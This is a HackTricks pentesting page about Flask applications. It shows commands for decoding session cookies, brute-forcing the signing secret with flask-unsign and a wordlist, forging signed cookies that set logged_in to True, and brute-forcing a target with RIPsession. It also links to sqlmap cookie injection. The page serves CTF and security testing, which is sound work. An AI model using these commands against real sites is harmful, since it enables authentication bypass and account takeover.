# Flask
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Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} **Probably if you are playing a CTF a Flask application will be related to** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.** ## Cookies Default cookie session name is **`session`**. ### Decoder Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi) #### Manual Get the first part of the cookie until the first point and Base64 decode it> ```bash echo "ImhlbGxvIg" | base64 -d ``` The cookie is also signed using a password ### **Flask-Unsign** Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys. {% embed url="https://pypi.org/project/flask-unsign/" %} ```bash pip3 install flask-unsign ``` #### **Decode Cookie** ```bash flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' ``` #### **Brute Force** ```bash flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '' --no-literal-eval ``` #### **Signing** ```bash flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' ``` #### Signing using legacy (old versions) ```bash flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy ``` ### **RIPsession** Command line tool to brute-force websites using cookies crafted with flask-unsign. {% embed url="https://github.com/Tagvi/ripsession" %} ```bash ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt ``` ### SQLi in Flask session cookie with SQLmap [**This example**](../../pentesting-web/sql-injection/sqlmap/#eval) uses sqlmap `eval` option to **automatically sign sqlmap payloads** for flask using a known secret.
Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).